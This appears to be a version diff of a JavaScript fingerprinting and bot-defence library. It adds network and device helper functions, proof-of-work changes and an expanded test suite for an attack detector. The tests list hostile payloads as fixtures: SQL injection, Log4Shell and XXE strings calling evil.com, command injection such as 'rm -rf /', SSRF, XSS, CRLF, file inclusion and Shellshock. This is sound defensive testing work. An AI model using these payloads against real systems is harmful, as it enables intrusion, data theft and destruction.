@anonympins/fingerprint 0.4.6 → 0.5.0

package/src/js/fingerprint.utils.js

@@ -0,0 +1,184 @@
+import {cyrb53} from "./fingerprint.builder.js";
+
+export function verifyZkpProof(yStr, tStr, sStr) {
+    try {
+        const y = BigInt('0x' + yStr);
+        const t = BigInt('0x' + tStr);
+        const s = BigInt('0x' + sStr);
+
+        const ZKP_P = 115792089237316195423570985008687907853269984665640564039457584007908834671663n;
+        const ZKP_G = 2n;
+
+        const cStr = ZKP_G.toString() + y.toString() + t.toString();
+        const hashHex = crypto.createHash('sha256').update(cStr).digest('hex');
+        const c = BigInt('0x' + hashHex) % ZKP_P;
+
+        return modPow(ZKP_G, s, ZKP_P) === (t * modPow(y, c, ZKP_P)) % ZKP_P;
+    } catch (e) {
+        return false;
+    }
+}
+
+export function decodePolymorphicFingerprint(fpString, mapping) {
+    if (!fpString || !mapping || !mapping.keys) return fpString;
+    const reverseKeys = {};
+    for (const [orig, rand] of Object.entries(mapping.keys)) {
+        reverseKeys[rand] = orig;
+    }
+    const parts = fpString.split('|');
+    const mappedParts = parts.map(part => {
+        const pair = part.split(':');
+        if (pair.length === 2) {
+            const origKey = reverseKeys[pair[0]] || pair[0];
+            return `${origKey}:${pair[1]}`;
+        }
+        return part;
+    });
+    return mappedParts.join('|');
+}
+
+
+/**
+ * @private
+ * Deep merges two objects. The `source` object's properties overwrite the `target`'s.
+ * @param {object} target - The target object.
+ * @param {object} source - The source object.
+ * @returns {object} The merged object.
+ */
+export function deepMerge(target, source) {
+    const output = { ...target };
+    if (target && typeof target === 'object' && source && typeof source === 'object') {
+        Object.keys(source).forEach(key => {
+            if (source[key] && typeof source[key] === 'object' && key in target) {
+                output[key] = deepMerge(target[key], source[key]);
+            } else {
+                output[key] = source[key];
+            }
+        });
+    }
+    return output;
+}
+
+/**
+ * Creates a stable hash based on device characteristics, independent of the IP.
+ * This is our "level 2 fingerprint".
+ * @param {object} context - The request context.
+ * @returns {string} A hash representing the device.
+ */
+export function getHeaderSignature(context) {
+    if (!context.rawHeaders) return '';
+    const headerKeys = [];
+    for (let i = 0; i < context.rawHeaders.length; i += 2) {
+        headerKeys.push(context.rawHeaders[i]);
+    }
+    return cyrb53(headerKeys.sort().join(','));
+}
+
+/**
+ * Analyses a raw JA3 string.
+ * Format: "TLSVersion,Ciphers,Extensions,EllipticCurves,EllipticCurveFormats"
+ * @param {string} ja3String
+ * @returns {object|null}
+ */
+export function parseJa3(ja3String) {
+    if (!ja3String || typeof ja3String !== 'string') {
+        return null;
+    }
+    const parts = ja3String.split(',');
+    if (parts.length !== 5) {
+        return null;
+    }
+    return {
+        tlsVersion: parseInt(parts[0], 10),
+        ciphers: parts[1] !== '' ? parts[1].split('-').map(Number) : [],
+        extensions: parts[2] !== '' ? parts[2].split('-').map(Number) : [],
+        curves: parts[3] !== '' ? parts[3].split('-').map(Number) : [],
+        points: parts[4] !== '' ? parts[4].split('-').map(Number) : []
+    };
+}
+
+export function modPow(base, exponent, modulus) {
+    if (modulus === 1n) return 0n;
+    let result = 1n;
+    base = base % modulus;
+    while (exponent > 0n) {
+        if (exponent % 2n === 1n) {
+            result = (result * base) % modulus;
+        }
+        exponent = exponent >> 1n;
+        base = (base * base) % modulus;
+    }
+    return result;
+}
+
+
+export function hashNetwork(ip, prefix = 24) {
+    // Hash du réseau (masque /24 ou /16)
+    const parts = ip.split('.');
+    if (parts.length !== 4) return null;
+    const maskBytes = prefix / 8;
+    const network = parts.slice(0, maskBytes).join('.');
+    // Hash simple
+    let hash = 0;
+    for (let i = 0; i < network.length; i++) {
+        const char = network.charCodeAt(i);
+        hash = ((hash << 5) - hash) + char;
+        hash = hash & hash;
+    }
+    return hash.toString(16);
+}
+export function normalizeReferer(referer) {
+    try {
+        const url = new URL(referer);
+        return `${url.protocol}//${url.hostname}`;
+    } catch {
+        return referer;
+    }
+}
+
+export function isPrivateIp(ip) {
+    // Vérifier si l'IP est privée
+    const parts = ip.split('.');
+    if (parts.length !== 4) return false;
+    const first = parseInt(parts[0]);
+    return (first === 10) || (first === 172 && parseInt(parts[1]) >= 16 && parseInt(parts[1]) <= 31) || (first === 192 && parseInt(parts[1]) === 168);
+}
+// Fonctions utilitaires
+export function parseUserAgent(ua) {
+    // Parser basique du User-Agent
+    const result = {};
+
+    // Détection du navigateur
+    if (ua.includes('Chrome') && !ua.includes('Edg')) {
+        result.browser = 'Chrome';
+        const match = ua.match(/Chrome\/(\d+)/);
+        if (match) result.browser += `/${match[1]}`;
+    } else if (ua.includes('Firefox')) {
+        result.browser = 'Firefox';
+        const match = ua.match(/Firefox\/(\d+)/);
+        if (match) result.browser += `/${match[1]}`;
+    } else if (ua.includes('Safari') && !ua.includes('Chrome')) {
+        result.browser = 'Safari';
+        const match = ua.match(/Version\/(\d+)/);
+        if (match) result.browser += `/${match[1]}`;
+    } else if (ua.includes('Edg')) {
+        result.browser = 'Edge';
+        const match = ua.match(/Edg\/(\d+)/);
+        if (match) result.browser += `/${match[1]}`;
+    }
+
+    // Détection de l'OS
+    if (ua.includes('Windows NT 10.0')) result.os = 'Windows 10';
+    else if (ua.includes('Windows NT 6.1')) result.os = 'Windows 7';
+    else if (ua.includes('Mac OS X')) result.os = 'macOS';
+    else if (ua.includes('Linux') && !ua.includes('Android')) result.os = 'Linux';
+    else if (ua.includes('Android')) result.os = 'Android';
+    else if (ua.includes('iPhone') || ua.includes('iPad')) result.os = 'iOS';
+
+    // Détection du type d'appareil
+    if (ua.includes('Mobile')) result.device = 'mobile';
+    else if (ua.includes('Tablet')) result.device = 'tablet';
+    else result.device = 'desktop';
+
+    return result;
+}

package/src/js/library.js

@@ -1551,7 +1551,7 @@ Optimization.Operators.createFullSecurityConfigEvaluator = ({ trafficData }) =>
       // Pour cet exemple, nous utilisons une version simplifiée.
       let score = 0;
       for (const key in config.weights) {
-        score += (log.vector[key] || 0) * config.weights[key];
+        score += (log.vector?.[key] || 0) * config.weights[key];
       }
       return score;
     };

package/src/js/pow.solver.inline.js

@@ -70,7 +70,7 @@ async function initializeSpace(seed, sizeMb) {
     store.put({ sizeMb, seed }, metadataKey);
 }
 
-async function solveSpaceChallenge(seed, queries, nonce, clientSecret) {
+async function solveSpaceChallenge(seed, queries, nonce, clientSecret, peerBlock = '') {
     const db = await openDb();
     const transaction = db.transaction("blocks", "readonly");
     const store = transaction.objectStore("blocks");
@@ -88,11 +88,19 @@ async function solveSpaceChallenge(seed, queries, nonce, clientSecret) {
         combined.set(block, i * 1024);
     }
     
+    let finalCombined = combined;
+    if (peerBlock) {
+        const peerBytes = new Uint8Array(peerBlock.match(/.{1,2}/g).map(byte => parseInt(byte, 16)));
+        finalCombined = new Uint8Array(combined.length + peerBytes.length);
+        finalCombined.set(combined);
+        finalCombined.set(peerBytes, combined.length);
+    }
+    
     const encoder = new TextEncoder();
     const nonceBytes = encoder.encode(nonce + ":" + clientSecret);
-    const finalBlock = new Uint8Array(combined.length + nonceBytes.length);
-    finalBlock.set(combined);
-    finalBlock.set(nonceBytes, combined.length);
+    const finalBlock = new Uint8Array(finalCombined.length + nonceBytes.length);
+    finalBlock.set(finalCombined);
+    finalBlock.set(nonceBytes, finalCombined.length);
     
     const buf = await crypto.subtle.digest("SHA-256", finalBlock);
     return Array.from(new Uint8Array(buf)).map(b => b.toString(16).padStart(2, '0')).join('');

package/src/js/pow.solver.js

@@ -73,7 +73,7 @@ export async function initializeSpace(seed, sizeMb) {
     store.put({ sizeMb, seed }, metadataKey);
 }
 
-export async function solveSpaceChallenge(seed, queries, nonce, clientSecret) {
+export async function solveSpaceChallenge(seed, queries, nonce, clientSecret, peerBlock = '') {
     const db = await openDb();
     const transaction = db.transaction("blocks", "readonly");
     const store = transaction.objectStore("blocks");
@@ -91,11 +91,19 @@ export async function solveSpaceChallenge(seed, queries, nonce, clientSecret) {
         combined.set(block, i * 1024);
     }
     
+    let finalCombined = combined;
+    if (peerBlock) {
+        const peerBytes = new Uint8Array(peerBlock.match(/.{1,2}/g).map(byte => parseInt(byte, 16)));
+        finalCombined = new Uint8Array(combined.length + peerBytes.length);
+        finalCombined.set(combined);
+        finalCombined.set(peerBytes, combined.length);
+    }
+    
     const encoder = new TextEncoder();
     const nonceBytes = encoder.encode(nonce + ":" + clientSecret);
-    const finalBlock = new Uint8Array(combined.length + nonceBytes.length);
-    finalBlock.set(combined);
-    finalBlock.set(nonceBytes, combined.length);
+    const finalBlock = new Uint8Array(finalCombined.length + nonceBytes.length);
+    finalBlock.set(finalCombined);
+    finalBlock.set(nonceBytes, finalCombined.length);
     
     const buf = await crypto.subtle.digest("SHA-256", finalBlock);
     return Array.from(new Uint8Array(buf)).map(b => b.toString(16).padStart(2, '0')).join('');

package/src/js/tests/fingerprint.isMalicious.test.js

@@ -1,117 +1,235 @@
-import {describe, expect, it} from 'vitest';
-import {isMalicious} from '../fingerprint.js';
-
-// We import the function directly to test it in isolation, avoiding vite:define errors.
-
-describe('isMalicious Unit Tests', () => {
-
-    describe('SQL and NoSQL Injections', () => {
-        it.each([
-            ["' OR '1'='1'"],
-            ["' or '1'='1' --"],
-            ["UNION SELECT username, password FROM users"],
-            ["; DROP TABLE products;--"],
-            ["SLEEP(5)"],
-            ["BENCHMARK(10000,MD5('a'))"],
-            ["WAITFOR DELAY '0:0:5'"],
-            ['{"$ne": null}'],
-        ])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["A normal comment -- for a blog post."],
-            ["Please select your union representative."],
-            ["The price is not equal to $10."],
-            ["My favorite song is 'Stairway to Heaven'."],
-        ])('should NOT detect legitimate string: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Log4Shell (JNDI Injection)', () => {
-        it.each([
-            ["${jndi:ldap://evil.com/a}"],
-            ["${jndi:rmi://evil.com/a}"],
-            ["${jndi:dns://evil.com/a}"],
-            ["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
-        ])('should detect Log4Shell pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["The variable is ${user.name}"],
-            ["This is a normal log message."],
-        ])('should NOT detect legitimate log message: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Server-Side Template Injection (SSTI)', () => {
-        it.each([
-            ["{{ 7*7 }}"],
-            ["{% if user.isAdmin %}{% endif %}"],
-            ["Hello {{user.name}}"], // Potentially risky
-        ])('should detect SSTI pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["A normal string with {curly braces}"],
-            ["(100%)"],
-        ])('should NOT detect legitimate string with braces: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('XML External Entity (XXE)', () => {
-        it.each([
-            ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
-            ['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
-        ])('should detect XXE pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["<!DOCTYPE html>"],
-            ["<note><to>Tove</to></note>"],
-        ])('should NOT detect legitimate XML/HTML: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Path Traversal', () => {
-        it.each([
-            ["../../../../etc/passwd"],
-            ["..\\..\\..\\..\\windows\\system32\\config.sam"],
-        ])('should detect Path Traversal pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["path/to/a/legitimate/file.txt"],
-            ["Just two dots.. not a traversal."],
-        ])('should NOT detect legitimate path: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false);
-        });
-    });
-
-    describe('Command Injection', () => {
-        it.each([
-            ["/path/to/script.sh; ls -la "],
-            ["127.0.0.1 && whoami "],
-            ["`reboot`"],
-            ["filename.txt\ncat /etc/passwd "],
-            [" | rm -rf /"], // Pipe before a dangerous command
-        ])('should detect Command Injection pattern: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(true);
-        });
-
-        it.each([
-            ["A normal command like ls -la /tmp"],
-            ["Use the pipe | for output redirection."],
-        ])('should NOT detect legitimate command-like string: %s', (payload) => {
-            expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
-        });
-    });
+import {describe, expect, it} from 'vitest';
+import {isMalicious} from '../fingerprint.js';
+
+// We import the function directly to test it in isolation, avoiding vite:define errors.
+
+describe('isMalicious Unit Tests', () => {
+
+    describe('SQL and NoSQL Injections', () => {
+        it.each([
+            ["' OR '1'='1'"],
+            ["' or '1'='1' --"],
+            ["UNION SELECT username, password FROM users"],
+            ["; DROP TABLE products;--"],
+            ["SLEEP(5)"],
+            ["BENCHMARK(10000,MD5('a'))"],
+            ["WAITFOR DELAY '0:0:5'"],
+            ['{"$ne": null}'],
+        ])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["A normal comment -- for a blog post."],
+            ["Please select your union representative."],
+            ["The price is not equal to $10."],
+            ["My favorite song is 'Stairway to Heaven'."],
+        ])('should NOT detect legitimate string: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Log4Shell (JNDI Injection)', () => {
+        it.each([
+            ["${jndi:ldap://evil.com/a}"],
+            ["${jndi:rmi://evil.com/a}"],
+            ["${jndi:dns://evil.com/a}"],
+            ["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
+        ])('should detect Log4Shell pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["The variable is ${user.name}"],
+            ["This is a normal log message."],
+        ])('should NOT detect legitimate log message: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Server-Side Template Injection (SSTI)', () => {
+        it.each([
+            ["{{ 7*7 }}"],
+            ["{% if user.isAdmin %}{% endif %}"],
+            ["Hello {{user.name}}"], // Potentially risky
+        ])('should detect SSTI pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["A normal string with {curly braces}"],
+            ["(100%)"],
+        ])('should NOT detect legitimate string with braces: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('XML External Entity (XXE)', () => {
+        it.each([
+            ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
+            ['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
+        ])('should detect XXE pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["<!DOCTYPE html>"],
+            ["<note><to>Tove</to></note>"],
+        ])('should NOT detect legitimate XML/HTML: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Path Traversal', () => {
+        it.each([
+            ["../../../../etc/passwd"],
+            ["..\\..\\..\\..\\windows\\system32\\config.sam"],
+        ])('should detect Path Traversal pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["path/to/a/legitimate/file.txt"],
+            ["Just two dots.. not a traversal."],
+        ])('should NOT detect legitimate path: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Command Injection', () => {
+        it.each([
+            ["/path/to/script.sh; ls -la "],
+            ["127.0.0.1 && whoami "],
+            ["`reboot`"],
+            ["filename.txt\ncat /etc/passwd "],
+            [" | rm -rf /"], // Pipe before a dangerous command
+        ])('should detect Command Injection pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["A normal command like ls -la /tmp"],
+            ["Use the pipe | for output redirection."],
+        ])('should NOT detect legitimate command-like string: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
+        });
+    });
+
+    describe('Server-Side Request Forgery (SSRF)', () => {
+        it.each([
+            ["http://127.0.0.1/admin"],
+            ["https://localhost:8080"],
+            ["http://169.254.169.254/latest/meta-data/"],
+            ["http://[::1]/"],
+        ])('should detect SSRF pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["https://google.com"],
+            ["https://github.com/login"],
+        ])('should NOT detect legitimate external URL: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('CRLF Injection', () => {
+        it.each([
+            ["malicious\r\nSet-Cookie: session=evil"],
+            ["%0d%0aSet-Cookie: session=evil"],
+        ])('should detect CRLF pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["normal text without carriage returns"],
+        ])('should NOT detect normal text: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Cross-Site Scripting (XSS)', () => {
+        it.each([
+            ["<script>alert(1)</script>"],
+            ["javascript:alert(1)"],
+            ["<img src=x onerror=alert(1)>"],
+            ["<iframe src=javascript:alert(1)>"],
+        ])('should detect XSS pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["This is a normal paragraph with some <b>bold</b> text."],
+        ])('should NOT detect clean HTML/text: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Open Redirect', () => {
+        it.each([
+            ["https://evil.com"],
+            ["http://malicious-site.org/redirect"],
+            ["//attacker.com"],
+        ])('should detect Open Redirect pattern: %s', (payload) => {
+            expect(isMalicious(payload, ['openRedirect'])).toBe(true);
+        });
+
+        it.each([
+            ["/local/path/to/page"],
+            ["http://localhost/dashboard"],
+            ["http://127.0.0.1:3000/profile"],
+        ])('should NOT detect local redirect path: %s', (payload) => {
+            expect(isMalicious(payload, ['openRedirect'])).toBe(false);
+        });
+    });
+
+    describe('Local/Remote File Inclusion (LFI/RFI)', () => {
+        it.each([
+            ["etc/passwd"],
+            ["win.ini"],
+            ["php://filter/read=convert.base64-encode/resource=index.php"],
+            ["data://text/plain;base64,SSBsb3ZlIFBIUAo="],
+        ])('should detect LFI/RFI pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["/var/www/html/index.php"],
+            ["My computer runs windows, yours runs linux."],
+        ])('should NOT detect normal filenames or terms: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('Shellshock (CVE-2014-6271)', () => {
+        it.each([
+            ["() { :; }; echo 'Vulnerable'"],
+            ["() { :;}; /bin/bash"],
+        ])('should detect Shellshock pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["function test() { echo 'Not Shellshock'; }"],
+        ])('should NOT detect normal functions: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
+
+    describe('NoSQL MongoDB Operator Injection', () => {
+        it.each([
+            ["$gt"],
+            ["$elemMatch"],
+            ["$where"],
+        ])('should detect NoSQL pattern: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(true);
+        });
+
+        it.each([
+            ["This costs $100 dollars"],
+            ["No operators here"],
+        ])('should NOT detect normal dollar signs: %s', (payload) => {
+            expect(isMalicious(payload)).toBe(false);
+        });
+    });
 });